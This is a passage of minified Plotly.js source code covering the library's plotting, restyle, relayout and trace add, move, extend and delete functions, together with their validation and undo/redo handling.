Z.addFrames(ae,Qe)}I(ae,Ie),Me||(Me={}),M.select(ae).classed("js-plotly-plot",!0),l.makeTester(),Array.isArray(ae._promises)||(ae._promises=[]);var _t=(ae.data||[]).length===0&&Array.isArray(de);Array.isArray(de)&&(i.cleanData(de),_t?ae.data=de:ae.data.push.apply(ae.data,de),ae.empty=!1),(!ae.layout||_t)&&(ae.layout=i.cleanLayout(Me)),f.supplyDefaults(ae);var Ft=ae._fullLayout,Tt=Ft._has("cartesian");Ft._replotting=!0,(_t||Ft._shouldCreateBgLayer)&&(ye(ae),Ft._shouldCreateBgLayer&&delete Ft._shouldCreateBgLayer),l.initGradients(ae),l.initPatterns(ae),_t&&a.saveShowSpikeInitial(ae);var Gt=!ae.calcdata||ae.calcdata.length!==(ae._fullData||[]).length;Gt&&f.doCalcdata(ae);for(var er=0;er<ae.calcdata.length;er++)ae.calcdata[er][0].trace=ae._fullData[er];ae._context.responsive?ae._responsiveChartHandler||(ae._responsiveChartHandler=function(){L.isHidden(ae)||f.resize(ae)},window.addEventListener("resize",ae._responsiveChartHandler)):L.clearResponsive(ae);var Pr=L.extendFlat({},Ft._size),ct=0;function Vt(){for(var mt=Ft._basePlotModules,Pt=0;Pt<mt.length;Pt++)mt[Pt].drawFramework&&mt[Pt].drawFramework(ae);!Ft._glcanvas&&Ft._has("gl")&&(Ft._glcanvas=Ft._glcontainer.selectAll(".gl-canvas").data([{key:"contextLayer",context:!0,pick:!1},{key:"focusLayer",context:!1,pick:!1},{key:"pickLayer",context:!1,pick:!0}],function($t){return $t.key}),Ft._glcanvas.enter().append("canvas").attr("class",function($t){return"gl-canvas gl-canvas-"+$t.key.replace("Layer","")}).style({position:"absolute",top:0,left:0,overflow:"visible","pointer-events":"none"}));var zt=ae._context.plotGlPixelRatio;if(Ft._glcanvas){Ft._glcanvas.attr("width",Ft.width*zt).attr("height",Ft.height*zt).style("width",Ft.width+"px").style("height",Ft.height+"px");var Xt=Ft._glcanvas.data()[0].regl;if(Xt&&(Math.floor(Ft.width*zt)!==Xt._gl.drawingBufferWidth||Math.floor(Ft.height*zt)!==Xt._gl.drawingBufferHeight)){var Yt="WebGL context buffer and canvas dimensions do not match due to browser/WebGL bug.";if(ct)L.error(Yt);else return L.log(Yt+" Clearing graph and plotting again."),f.cleanPlot([],{},ae._fullData,Ft),f.supplyDefaults(ae),Ft=ae._fullLayout,f.doCalcdata(ae),ct++,Vt()}}return Ft.modebar.orientation==="h"?Ft._modebardiv.style("height",null).style("width","100%"):Ft._modebardiv.style("width",null).style("height",Ft.height+"px"),f.previousPromises(ae)}function Ut(){if(f.clearAutoMarginIds(ae),v.drawMarginPushers(ae),a.allowAutoMargin(ae),ae._fullLayout.title.text&&ae._fullLayout.title.automargin&&f.allowAutoMargin(ae,"title.automargin"),Ft._has("pie"))for(var mt=ae._fullData,Pt=0;Pt<mt.length;Pt++){var zt=mt[Pt];zt.type==="pie"&&zt.automargin&&f.allowAutoMargin(ae,"pie."+zt.uid+".automargin")}return f.doAutoMargin(ae),f.previousPromises(ae)}function dr(){if(f.didMarginChange(Pr,Ft._size))return L.syncOrAsync([Ut,v.layoutStyles],ae)}function sr(){if(!Gt){nt();return}return L.syncOrAsync([t.getComponentMethod("shapes","calcAutorange"),t.getComponentMethod("annotations","calcAutorange"),nt],ae)}function nt(){ae._transitioning||(v.doAutoRangeAndConstraints(ae),_t&&a.saveRangeInitial(ae),t.getComponentMethod("rangeslider","calcAutorange")(ae))}function rt(){return a.draw(ae,_t?"":"redraw")}var vt=[f.previousPromises,St,Vt,Ut,dr];Tt&&vt.push(sr),vt.push(v.layoutStyles),Tt&&vt.push(rt,function(Pt){Pt._fullLayout._insideTickLabelsAutorange&&le(Pt,Pt._fullLayout._insideTickLabelsAutorange).then(function(){Pt._fullLayout._insideTickLabelsAutorange=void 0})}),vt.push(v.drawData,v.finalDraw,s,f.addLinks,f.rehover,f.redrag,f.reselect,f.doAutoMargin,gt,f.previousPromises);function gt(mt){mt._fullLayout._insideTickLabelsAutorange&&_t&&a.saveRangeInitial(mt,!0)}var wt=L.syncOrAsync(vt,ae);return(!wt||!wt.then)&&(wt=Promise.resolve()),wt.then(function(){return m(ae),ae})}function m(ae){var de=ae._fullLayout;de._redrawFromAutoMarginCount?de._redrawFromAutoMarginCount--:ae.emit("plotly_afterplot")}function n(ae){return L.extendFlat(b,ae)}function C(ae,de){try{ae._fullLayout._paper.style("background",de)}catch(Me){L.error(Me)}}function x(ae,de){var Me=u.combine(de,"white");C(ae,Me)}function I(ae,de){if(!ae._context){ae._context=L.extendDeep({},b);var Me=M.select("base");ae._context._baseUrl=Me.size()&&Me.attr("href")?window.location.href.split("#")[0]:""}var Ie=ae._context,Qe,et,pt;if(de){for(et=Object.keys(de),Qe=0;Qe<et.length;Qe++)pt=et[Qe],!(pt==="editable"||pt==="edits")&&pt in Ie&&(pt==="setBackground"&&de[pt]==="opaque"?Ie[pt]=x:Ie[pt]=de[pt]);de.plot3dPixelRatio&&!Ie.plotGlPixelRatio&&(Ie.plotGlPixelRatio=Ie.plot3dPixelRatio);var St=de.editable;if(St!==void 0)for(Ie.editable=St,et=Object.keys(Ie.edits),Qe=0;Qe<et.length;Qe++)Ie.edits[et[Qe]]=St;if(de.edits)for(et=Object.keys(de.edits),Qe=0;Qe<et.length;Qe++)pt=et[Qe],pt in Ie.edits&&(Ie.edits[pt]=de.edits[pt]);Ie._exportedPlot=de._exportedPlot}Ie.staticPlot&&(Ie.editable=!1,Ie.edits={},Ie.autosizable=!1,Ie.scrollZoom=!1,Ie.doubleClick=!1,Ie.showTips=!1,Ie.showLink=!1,Ie.displayModeBar=!1),Ie.displayModeBar==="hover"&&!o&&(Ie.displayModeBar=!0),(Ie.setBackground==="transparent"||typeof Ie.setBackground!="function")&&(Ie.setBackground=C),Ie._hasZeroHeight=Ie._hasZeroHeight||ae.clientHeight===0,Ie._hasZeroWidth=Ie._hasZeroWidth||ae.clientWidth===0;var _t=Ie.scrollZoom,Ft=Ie._scrollZoom={};if(_t===!0)Ft.cartesian=1,Ft.gl3d=1,Ft.geo=1,Ft.mapbox=1;else if(typeof _t=="string"){var Tt=_t.split("+");for(Qe=0;Qe<Tt.length;Qe++)Ft[Tt[Qe]]=1}else _t!==!1&&(Ft.gl3d=1,Ft.geo=1,Ft.mapbox=1)}function k(ae){if(ae=L.getGraphDiv(ae),!L.isPlotDiv(ae))throw new Error("This element is not a Plotly plot: "+ae);return i.cleanData(ae.data),i.cleanLayout(ae.layout),ae.calcdata=void 0,Z._doPlot(ae).then(function(){return ae.emit("plotly_redraw"),ae})}function B(ae,de,Me,Ie){return ae=L.getGraphDiv(ae),f.cleanPlot([],{},ae._fullData||[],ae._fullLayout||{}),f.purge(ae),Z._doPlot(ae,de,Me,Ie)}function _(ae,de){var Me=de+1,Ie=[],Qe,et;for(Qe=0;Qe<ae.length;Qe++)et=ae[Qe],et<0?Ie.push(Me+et):Ie.push(et);return Ie}function F(ae,de,Me){var Ie,Qe;for(Ie=0;Ie<de.length;Ie++){if(Qe=de[Ie],Qe!==parseInt(Qe,10))throw new Error("all values in "+Me+" must be integers");if(Qe>=ae.data.length||Qe<-ae.data.length)throw new Error(Me+" must be valid indices for gd.data.");if(de.indexOf(Qe,Ie+1)>-1||Qe>=0&&de.indexOf(-ae.data.length+Qe)>-1||Qe<0&&de.indexOf(ae.data.length+Qe)>-1)throw new Error("each index in "+Me+" must be unique.")}}function O(ae,de,Me){if(!Array.isArray(ae.data))throw new Error("gd.data must be an array.");if(typeof de>"u")throw new Error("currentIndices is a required argument.");if(Array.isArray(de)||(de=[de]),F(ae,de,"currentIndices"),typeof Me<"u"&&!Array.isArray(Me)&&(Me=[Me]),typeof Me<"u"&&F(ae,Me,"newIndices"),typeof Me<"u"&&de.length!==Me.length)throw new Error("current and new indices must be of equal length.")}function z(ae,de,Me){var Ie,Qe;if(!Array.isArray(ae.data))throw new Error("gd.data must be an array.");if(typeof de>"u")throw new Error("traces must be defined.");for(Array.isArray(de)||(de=[de]),Ie=0;Ie<de.length;Ie++)if(Qe=de[Ie],typeof Qe!="object"||Array.isArray(Qe)||Qe===null)throw new Error("all values in traces array must be non-array objects");if(typeof Me<"u"&&!Array.isArray(Me)&&(Me=[Me]),typeof Me<"u"&&Me.length!==de.length)throw new Error("if indices is specified, traces.length must equal indices.length")}function N(ae,de,Me,Ie){var Qe=L.isPlainObject(Ie);if(!Array.isArray(ae.data))throw new Error("gd.data must be an array");if(!L.isPlainObject(de))throw new Error("update must be a key:value object");if(typeof Me>"u")throw new Error("indices must be an integer or array of integers");F(ae,Me,"indices");for(var et in de){if(!Array.isArray(de[et])||de[et].length!==Me.length)throw new Error("attribute "+et+" must be an array of length equal to indices array length");if(Qe&&(!(et in Ie)||!Array.isArray(Ie[et])||Ie[et].length!==de[et].length))throw new Error("when maxPoints is set as a key:value object it must contain a 1:1 corrispondence with the keys and number of traces in the update object")}}function G(ae,de,Me,Ie){var Qe=L.isPlainObject(Ie),et=[],pt,St,_t,Ft,Tt;Array.isArray(Me)||(Me=[Me]),Me=_(Me,ae.data.length-1);for(var Gt in de)for(var er=0;er<Me.length;er++){if(pt=ae.data[Me[er]],_t=S(pt,Gt),St=_t.get(),Ft=de[Gt][er],!L.isArrayOrTypedArray(Ft))throw new Error("attribute: "+Gt+" index: "+er+" must be an array");if(!L.isArrayOrTypedArray(St))throw new Error("cannot extend missing or non-array attribute: "+Gt);if(St.constructor!==Ft.constructor)throw new Error("cannot extend array with an array of a different type: "+Gt);Tt=Qe?Ie[Gt][er]:Ie,P(Tt)||(Tt=-1),et.push({prop:_t,target:St,insert:Ft,maxp:Math.floor(Tt)})}return et}function J(ae,de,Me,Ie,Qe){N(ae,de,Me,Ie);for(var et=G(ae,de,Me,Ie),pt={},St={},_t=0;_t<et.length;_t++){var Ft=et[_t].prop,Tt=et[_t].maxp,Gt=Qe(et[_t].target,et[_t].insert,Tt);Ft.set(Gt[0]),Array.isArray(pt[Ft.astr])||(pt[Ft.astr]=[]),pt[Ft.astr].push(Gt[1]),Array.isArray(St[Ft.astr])||(St[Ft.astr]=[]),St[Ft.astr].push(et[_t].target.length)}return{update:pt,maxPoints:St}}function q(ae,de){var Me=new ae.constructor(ae.length+de.length);return Me.set(ae),Me.set(de,ae.length),Me}function ne(ae,de,Me,Ie){ae=L.getGraphDiv(ae);function Qe(_t,Ft,Tt){var Gt,er;if(L.isTypedArray(_t))if(Tt<0){var Pr=new _t.constructor(0),ct=q(_t,Ft);Tt<0?(Gt=ct,er=Pr):(Gt=Pr,er=ct)}else if(Gt=new _t.constructor(Tt),er=new _t.constructor(_t.length+Ft.length-Tt),Tt===Ft.length)Gt.set(Ft),er.set(_t);else if(Tt<Ft.length){var Vt=Ft.length-Tt;Gt.set(Ft.subarray(Vt)),er.set(_t),er.set(Ft.subarray(0,Vt),_t.length)}else{var Ut=Tt-Ft.length,dr=_t.length-Ut;Gt.set(_t.subarray(dr)),Gt.set(Ft,Ut),er.set(_t.subarray(0,dr))}else Gt=_t.concat(Ft),er=Tt>=0&&Tt<Gt.length?Gt.splice(0,Gt.length-Tt):[];return[Gt,er]}var et=J(ae,de,Me,Ie,Qe),pt=Z.redraw(ae),St=[ae,et.update,Me,et.maxPoints];return g.add(ae,Z.prependTraces,St,ne,arguments),pt}function fe(ae,de,Me,Ie){ae=L.getGraphDiv(ae);function Qe(_t,Ft,Tt){var Gt,er;if(L.isTypedArray(_t))if(Tt<=0){var Pr=new _t.constructor(0),ct=q(Ft,_t);Tt<0?(Gt=ct,er=Pr):(Gt=Pr,er=ct)}else if(Gt=new _t.constructor(Tt),er=new _t.constructor(_t.length+Ft.length-Tt),Tt===Ft.length)Gt.set(Ft),er.set(_t);else if(Tt<Ft.length){var Vt=Ft.length-Tt;Gt.set(Ft.subarray(0,Vt)),er.set(Ft.subarray(Vt)),er.set(_t,Vt)}else{var Ut=Tt-Ft.length;Gt.set(Ft),Gt.set(_t.subarray(0,Ut),Ft.length),er.set(_t.subarray(Ut))}else Gt=Ft.concat(_t),er=Tt>=0&&Tt<Gt.length?Gt.splice(Tt,Gt.length):[];return[Gt,er]}var et=J(ae,de,Me,Ie,Qe),pt=Z.redraw(ae),St=[ae,et.update,Me,et.maxPoints];return g.add(ae,Z.extendTraces,St,fe,arguments),pt}function X(ae,de,Me){ae=L.getGraphDiv(ae);var Ie=[],Qe=Z.deleteTraces,et=X,pt=[ae,Ie],St=[ae,de],_t,Ft;for(z(ae,de,Me),Array.isArray(de)||(de=[de]),de=de.map(function(Tt){return L.extendFlat({},Tt)}),i.cleanData(de),_t=0;_t<de.length;_t++)ae.data.push(de[_t]);for(_t=0;_t<de.length;_t++)Ie.push(-de.length+_t);if(typeof Me>"u")return Ft=Z.redraw(ae),g.add(ae,Qe,pt,et,St),Ft;Array.isArray(Me)||(Me=[Me]);try{O(ae,Ie,Me)}catch(Tt){throw ae.data.splice(ae.data.length-de.length,de.length),Tt}return g.startSequence(ae),g.add(ae,Qe,pt,et,St),Ft=Z.moveTraces(ae,Ie,Me),g.stopSequence(ae),Ft}function W(ae,de){ae=L.getGraphDiv(ae);var Me=[],Ie=Z.addTraces,Qe=W,et=[ae,Me,de],pt=[ae,de],St,_t;if(typeof de>"u")throw new Error("indices must be an integer or array of integers.");for(Array.isArray(de)||(de=[de]),F(ae,de,"indices"),de=_(de,ae.data.length-1),de.sort(L.sorterDes),St=0;St<de.length;St+=1)_t=ae.data.splice(de[St],1)[0],Me.push(_t);var Ft=Z.redraw(ae);return g.add(ae,Ie,et,Qe,pt),Ft}function V(ae,de,Me){ae=L.getGraphDiv(ae);var Ie=[],Qe=[],et=V,pt=V,St=[ae,Me,de],_t=[ae,de,Me],Ft;if(O(ae,de,Me),de=Array.isArray(de)?de:[de],typeof Me>"u")for(Me=[],Ft=0;Ft<de.length;Ft++)Me.push(-de.length+Ft);for(Me=Array.isArray(Me)?Me:[Me],de=_(de,ae.data.length-1),Me=_(Me,ae.data.length-1),Ft=0;Ft<ae.data.length;Ft++)de.indexOf(Ft)===-1&&Ie.push(ae.data[Ft]);for(Ft=0;Ft<de.length;Ft++)Qe.push({newIndex:Me[Ft],trace:ae.data[de[Ft]]});for(Qe.sort(function(Gt,er){return Gt.newIndex-er.newIndex}),Ft=0;Ft<Qe.length;Ft+=1)Ie.splice(Qe[Ft].newIndex,0,Qe[Ft].trace);ae.data=Ie;var Tt=Z.redraw(ae);return g.add(ae,et,St,pt,_t),Tt}function Y(ae,de,Me,Ie){ae=L.getGraphDiv(ae),i.clearPromiseQueue(ae);var Qe={};if(typeof de=="string")Qe[de]=Me;else if(L.isPlainObject(de))Qe=L.extendFlat({},de),Ie===void 0&&(Ie=Me);else return L.warn("Restyle fail.",de,Me,Ie),Promise.reject();Object.keys(Qe).length&&(ae.changed=!0);var et=i.coerceTraceIndices(ae,Ie),pt=oe(ae,Qe,et),St=pt.flags;St.calc&&(ae.calcdata=void 0),St.clearAxisTypes&&i.clearAxisTypes(ae,et,{});var _t=[];St.fullReplot?_t.push(Z._doPlot):(_t.push(f.previousPromises),f.supplyDefaults(ae),St.markerSize&&(f.doCalcdata(ae),we(_t)),St.style&&_t.push(v.doTraceStyle),St.colorbars&&_t.push(v.doColorBars),_t.push(m)),_t.push(f.rehover,f.redrag,f.reselect),g.add(ae,Y,[ae,pt.undoit,pt.traces],Y,[ae,pt.redoit,pt.traces]);var Ft=L.syncOrAsync(_t,ae);return(!Ft||!Ft.then)&&(Ft=Promise.resolve()),Ft.then(function(){return ae.emit("plotly_restyle",pt.eventData),ae})}function Q(ae){return ae===void 0?null:ae}function ie(ae,de){return de?function(Me,Ie,Qe){var et=S(Me,Ie),pt=et.set;return et.set=function(St){var _t=(Qe||"")+Ie;j(_t,et.get(),St,ae),pt(St)},et}:S}function j(ae,de,Me,Ie){if(Array.isArray(de)||Array.isArray(Me))for(var Qe=Array.isArray(de)?de:[],et=Array.isArray(Me)?Me:[],pt=Math.max(Qe.length,et.length),St=0;St<pt;St++)j(ae+"["+St+"]",Qe[St],et[St],Ie);else if(L.isPlainObject(de)||L.isPlainObject(Me)){var _t=L.isPlainObject(de)?de:{},Ft=L.isPlainObject(Me)?Me:{},Tt=L.extendFlat({},_t,Ft);for(var Gt in Tt)j(ae+"."+Gt,_t[Gt],Ft[Gt],Ie)}else Ie[ae]===void 0&&(Ie[ae]=Q(de))}function K(ae,de,Me){for(var Ie in Me){var Qe=S(ae,Ie);j(Ie,Qe.get(),Me[Ie],de)}}function oe(ae,de,Me){var Ie=ae._fullLayout,Qe=ae._fullData,et=ae.data,pt=Ie._guiEditing,St=ie(Ie._preGUI,pt),_t=L.extendDeepAll({},de),Ft;re(de);var Tt=T.traceFlags(),Gt={},er={},Pr;function ct(){return Me.map(function(){})}function Vt(Ur){var Mn=a.id2name(Ur);Pr.indexOf(Mn)===-1&&Pr.push(Mn)}function Ut(Ur){return"LAYOUT"+Ur+".autorange"}function dr(Ur){return"LAYOUT"+Ur+".range"}function sr(Ur){for(var Mn=Ur;Mn<Qe.length;Mn++)if(Qe[Mn]._input===et[Ur])return Qe[Mn]}function nt(Ur,Mn,Sn){if(Array.isArray(Ur)){Ur.forEach(function(Ir){nt(Ir,Mn,Sn)});return}if(!(Ur in de||i.hasParent(de,Ur))){var nr;if(Ur.substr(0,6)==="LAYOUT")nr=St(ae.layout,Ur.replace("LAYOUT",""));else{var Sr=Me[Sn],Dr=Ie._tracePreGUI[sr(Sr)._fullInput.uid];nr=ie(Dr,pt)(et[Sr],Ur)}Ur in er||(er[Ur]=ct()),er[Ur][Sn]===void 0&&(er[Ur][Sn]=Q(nr.get())),Mn!==void 0&&nr.set(Mn)}}function rt(Ur){return function(Mn){return Qe[Mn][Ur]}}function vt(Ur){return function(Mn,Sn){return Mn===!1?Qe[Me[Sn]][Ur]:null}}for(var gt in de){if(i.hasParent(de,gt))throw new Error("cannot set "+gt+" and a parent attribute simultaneously");var wt=de[gt],mt,Pt,zt,Xt,Yt,$t;if((gt==="autobinx"||gt==="autobiny")&&(gt=gt.charAt(gt.length-1)+"bins",Array.isArray(wt)?wt=wt.map(vt(gt)):wt===!1?wt=Me.map(rt(gt)):wt=null),Gt[gt]=wt,gt.substr(0,6)==="LAYOUT"){zt=St(ae.layout,gt.replace("LAYOUT","")),er[gt]=[Q(zt.get())],zt.set(Array.isArray(wt)?wt[0]:wt),Tt.calc=!0;continue}for(er[gt]=ct(),Ft=0;Ft<Me.length;Ft++){mt=et[Me[Ft]],Pt=sr(Me[Ft]);var yr=Ie._tracePreGUI[Pt._fullInput.uid];if(zt=ie(yr,pt)(mt,gt),Xt=zt.get(),Yt=Array.isArray(wt)?wt[Ft%wt.length]:wt,Yt!==void 0){var Ue=zt.parts[zt.parts.length-1],Ne=gt.substr(0,gt.length-Ue.length-1),Et=Ne?Ne+".":"",Lt=Ne?S(Pt,Ne).get():Pt;if($t=r.getTraceValObject(Pt,zt.parts),$t&&$t.impliedEdits&&Yt!==null)for(var Nt in $t.impliedEdits)nt(L.relativeAttr(gt,Nt),$t.impliedEdits[Nt],Ft);else if((Ue==="thicknessmode"||Ue==="lenmode")&&Xt!==Yt&&(Yt==="fraction"||Yt==="pixels")&&Lt){var rr=Ie._size,tr=Lt.orient,Jt=tr==="top"||tr==="bottom";if(Ue==="thicknessmode"){var It=Jt?rr.h:rr.w;nt(Et+"thickness",Lt.thickness*(Yt==="fraction"?1/It:It),Ft)}else{var or=Jt?rr.w:rr.h;nt(Et+"len",Lt.len*(Yt==="fraction"?1/or:or),Ft)}}else if(gt==="type"&&(Yt==="pie"!=(Xt==="pie")||Yt==="funnelarea"!=(Xt==="funnelarea"))){var ur="x",fr="y";(Yt==="bar"||Xt==="bar")&&mt.orientation==="h"&&(ur="y",fr="x"),L.swapAttrs(mt,["?","?src"],"labels",ur),L.swapAttrs(mt,["d?","?0"],"label",ur),L.swapAttrs(mt,["?","?src"],"values",fr),Xt==="pie"||Xt==="funnelarea"?(S(mt,"marker.color").set(S(mt,"marker.colors").get()),Ie._pielayer.selectAll("g.trace").remove()):t.traceIs(mt,"cartesian")&&S(mt,"marker.colors").set(S(mt,"marker.color").get())}er[gt][Ft]=Q(Xt);var lr=["swapxy","swapxyaxes","orientation","orientationaxes"];if(lr.indexOf(gt)!==-1){if(gt==="orientation"){zt.set(Yt);var Nr=mt.x&&!mt.y?"h":"v";if((zt.get()||Nr)===Pt.orientation)continue}else gt==="orientationaxes"&&(mt.orientation={v:"h",h:"v"}[Pt.orientation]);i.swapXYData(mt),Tt.calc=Tt.clearAxisTypes=!0}else f.dataArrayContainers.indexOf(zt.parts[0])!==-1?(i.manageArrayContainers(zt,Yt,er),Tt.calc=!0):($t?$t.arrayOk&&!t.traceIs(Pt,"regl")&&(L.isArrayOrTypedArray(Yt)||L.isArrayOrTypedArray(Xt))?Tt.calc=!0:T.update(Tt,$t):Tt.calc=!0,zt.set(Yt))}}if(["swapxyaxes","orientationaxes"].indexOf(gt)!==-1&&a.swap(ae,Me),gt==="orientationaxes"){var Rr=S(ae.layout,"hovermode"),Cr=Rr.get();Cr==="x"?Rr.set("y"):Cr==="y"?Rr.set("x"):Cr==="x unified"?Rr.set("y unified"):Cr==="y unified"&&Rr.set("x unified")}if(["orientation","type"].indexOf(gt)!==-1){for(Pr=[],Ft=0;Ft<Me.length;Ft++){var vn=et[Me[Ft]];t.traceIs(vn,"cartesian")&&(Vt(vn.xaxis||"x"),Vt(vn.yaxis||"y"))}nt(Pr.map(Ut),!0,0),nt(Pr.map(dr),[0,1],0)}}return(Tt.calc||Tt.plot)&&(Tt.fullReplot=!0),{flags:Tt,undoit:er,redoit:Gt,traces:Me,eventData:L.extendDeepNoArrays([],[_t,Me])}}function re(ae){var de=L.counterRegex("axis",".title",!1,!1),Me=/colorbar\.title$/,Ie=Object.keys(ae),Qe,et,pt;for(Qe=0;Qe<Ie.length;Qe++)et=Ie[Qe],pt=ae[et],(et==="title"||de.test(et)||Me.test(et))&&(typeof pt=="string"||typeof pt=="number")?St(et,et.replace("title","title.text")):et.indexOf("titlefont")>-1&&et.indexOf("grouptitlefont")===-1?St(et,et.replace("titlefont","title.font")):et.indexOf("titleposition")>-1?St(et,et.replace("titleposition","title.position")):et.indexOf("titleside")>-1?St(et,et.replace("titleside","title.side")):et.indexOf("titleoffset")>-1&&St(et,et.replace("titleoffset","title.offset"));function St(_t,Ft){ae[Ft]=ae[_t],delete ae[_t]}}function le(ae,de,Me){ae=L.getGraphDiv(ae),i.clearPromiseQueue(ae);var Ie={};if(typeof de=="string")Ie[de]=Me;else if(L.isPlainObject(de))Ie=L.extendFlat({},de);else return L.warn("Relayout fail.",de,Me),Promise.reject();Object.keys(Ie).length&&(ae.changed=!0);var Qe=be(ae,Ie),et=Qe.flags;et.calc&&(ae.calcdata=void 0);var pt=[f.previousPromises];et.layoutReplot?pt.push(v.layoutReplot):Object.keys(Ie).length&&(pe(ae,et,Qe)||f.supplyDefaults(ae),et.legend&&pt.push(v.doLegend),et.layoutstyle&&pt.push(v.layoutStyles),et.axrange&&we(pt,Qe.rangesAltered),et.ticks&&pt.push(v.doTicksRelayout),et.modebar&&pt.push(v.doModeBar),et.camera&&pt.push(v.doCamera),et.colorbars&&pt.push(v.doColorBars),pt.push(m)),pt.push(f.rehover,f.redrag,f.reselect),g.add(ae,le,[ae,Qe.undoit],le,[ae,Qe.redoit]);var St=L.syncOrAsync(pt,ae);return(!St||!St.then)&&(St=Promise.resolve(ae)),St.then(function(){return ae.emit("plotly_relayout",Qe.eventData),ae})}function pe(ae,de,Me){var Ie=ae._fullLayout;if(!de.axrange)return!1;for(var Qe in de)if(Qe!=="axrange"&&de[Qe])return!1;for(var et in Me.rangesAltered){var pt=a.id2name(et),St=ae.layout[pt],_t=Ie[pt];if(_t.autorange=St.autorange,St.range&&(_t.range=St.range.slice()),_t.cleanRange(),_t._matchGroup){for(var Ft in _t._matchGroup)if(Ft!==et){var Tt=Ie[a.id2name(Ft)];Tt.autorange=_t.autorange,Tt.range=_t.range.slice(),Tt._input.range=_t.range.slice()}}}return!0}function we(ae,de){var Me=de?function(Ie){var Qe=[],et=!0;for(var pt in de){var St=a.getFromId(Ie,pt);if(Qe.push(pt),(St.ticklabelposition||"").indexOf("inside")!==-1&&St._anchorAxis&&Qe.push(St._anchorAxis._id),St._matchGroup)for(var _t in St._matchGroup)de[_t]||Qe.push(_t)}return a.draw(Ie,Qe,{skipTitle:et})}:function(Ie){return a.draw(Ie,"redraw")};ae.push(c,v.doAutoRangeAndConstraints,Me,v.drawData,v.finalDraw)}var xe=/^[xyz]axis[0-9]*\.range(\[[0|1]\])?$/,ke=/^[xyz]axis[0-9]*\.autorange$/,_e=/^[xyz]axis[0-9]*\.domain(\[[0|1]\])?$/;function be(ae,de){var Me=ae.layout,Ie=ae._fullLayout,Qe=Ie._guiEditing,et=ie(Ie._preGUI,Qe),pt=Object.keys(de),St=a.list(ae),_t=L.extendDeepAll({},de),Ft={},Tt,Gt,er;for(re(de),pt=Object.keys(de),Gt=0;Gt<pt.length;Gt++)if(pt[Gt].indexOf("allaxes")===0){for(er=0;er<St.length;er++){var Pr=St[er]._id.substr(1),ct=Pr.indexOf("scene")!==-1?Pr+".":"",Vt=pt[Gt].replace("allaxes",ct+St[er]._name);de[Vt]||(de[Vt]=de[pt[Gt]])}delete de[pt[Gt]]}var Ut=T.layoutFlags(),dr={},sr={};function nt(Dr,Ir){if(Array.isArray(Dr)){Dr.forEach(function(an){nt(an,Ir)});return}if(!(Dr in de||i.hasParent(de,Dr))){var Xr=et(Me,Dr);Dr in sr||(sr[Dr]=Q(Xr.get())),Ir!==void 0&&Xr.set(Ir)}}var rt={},vt;function gt(Dr){var Ir=a.name2id(Dr.split(".")[0]);return rt[Ir]=1,Ir}for(var wt in de){if(i.hasParent(de,wt))throw new Error("cannot set "+wt+" and a parent attribute simultaneously");for(var mt=et(Me,wt),Pt=de[wt],zt=mt.parts.length,Xt=zt-1;Xt>0&&typeof mt.parts[Xt]!="string";)Xt--;var Yt=mt.parts[Xt],$t=mt.parts[Xt-1]+"."+Yt,yr=mt.parts.slice(0,Xt).join("."),Ue=S(ae.layout,yr).get(),Ne=S(Ie,yr).get(),Et=mt.get();if(Pt!==void 0){dr[wt]=Pt,sr[wt]=Yt==="reverse"?Pt:Q(Et);var Lt=r.getLayoutValObject(Ie,mt.parts);if(Lt&&Lt.impliedEdits&&Pt!==null)for(var Nt in Lt.impliedEdits)nt(L.relativeAttr(wt,Nt),Lt.impliedEdits[Nt]);if(["width","height"].indexOf(wt)!==-1)if(Pt){nt("autosize",null);var rr=wt==="height"?"width":"height";nt(rr,Ie[rr])}else Ie[wt]=ae._initialAutoSize[wt];else if(wt==="autosize")nt("width",Pt?null:Ie.width),nt("height",Pt?null:Ie.height);else if($t.match(xe))gt($t),S(Ie,yr+"._inputRange").set(null);else if($t.match(ke)){gt($t),S(Ie,yr+"._inputRange").set(null);var tr=S(Ie,yr).get();tr._inputDomain&&(tr._input.domain=tr._inputDomain.slice())}else $t.match(_e)&&S(Ie,yr+"._inputDomain").set(null);if(Yt==="type"){vt=Ue;var Jt=Ne.type==="linear"&&Pt==="log",It=Ne.type==="log"&&Pt==="linear";if(Jt||It){if(!vt||!vt.range)nt(yr+".autorange",!0);else if(Ne.autorange)Jt&&(vt.range=vt.range[1]>vt.range[0]?[1,2]:[2,1]);else{var or=vt.range[0],ur=vt.range[1];Jt?(or<=0&&ur<=0&&nt(yr+".autorange",!0),or<=0?or=ur/1e6:ur<=0&&(ur=or/1e6),nt(yr+".range[0]",Math.log(or)/Math.LN10),nt(yr+".range[1]",Math.log(ur)/Math.LN10)):(nt(yr+".range[0]",Math.pow(10,or)),nt(yr+".range[1]",Math.pow(10,ur)))}Array.isArray(Ie._subplots.polar)&&Ie._subplots.polar.length&&Ie[mt.parts[0]]&&mt.parts[1]==="radialaxis"&&delete Ie[mt.parts[0]]._subplot.viewInitial["radialaxis.range"],t.getComponentMethod("annotations","convertCoords")(ae,Ne,Pt,nt),t.getComponentMethod("images","convertCoords")(ae,Ne,Pt,nt)}else nt(yr+".autorange",!0),nt(yr+".range",null);S(Ie,yr+"._inputRange").set(null)}else if(Yt.match(w)){var fr=S(Ie,wt).get(),lr=(Pt||{}).type;(!lr||lr==="-")&&(lr="linear"),t.getComponentMethod("annotations","convertCoords")(ae,fr,lr,nt),t.getComponentMethod("images","convertCoords")(ae,fr,lr,nt)}var Nr=h.containerArrayMatch(wt);if(Nr){Tt=Nr.array,Gt=Nr.index;var Rr=Nr.property,Cr=Lt||{editType:"calc"};Gt!==""&&Rr===""&&(h.isAddVal(Pt)?sr[wt]=null:h.isRemoveVal(Pt)?sr[wt]=(S(Me,Tt).get()||[])[Gt]:L.warn("unrecognized full object value",de)),T.update(Ut,Cr),Ft[Tt]||(Ft[Tt]={});var vn=Ft[Tt][Gt];vn||(vn=Ft[Tt][Gt]={}),vn[Rr]=Pt,delete de[wt]}else Yt==="reverse"?(Ue.range?Ue.range.reverse():(nt(yr+".autorange",!0),Ue.range=[1,0]),Ne.autorange?Ut.calc=!0:Ut.plot=!0):(wt==="dragmode"&&(Pt===!1&&Et!==!1||Pt!==!1&&Et===!1)||Ie._has("scatter-like")&&Ie._has("regl")&&wt==="dragmode"&&(Pt==="lasso"||Pt==="select")&&!(Et==="lasso"||Et==="select")||Ie._has("gl2d")?Ut.plot=!0:Lt?T.update(Ut,Lt):Ut.calc=!0,mt.set(Pt))}}for(Tt in Ft){var Ur=h.applyContainerArrayChanges(ae,et(Me,Tt),Ft[Tt],Ut,et);Ur||(Ut.plot=!0)}for(var Mn in 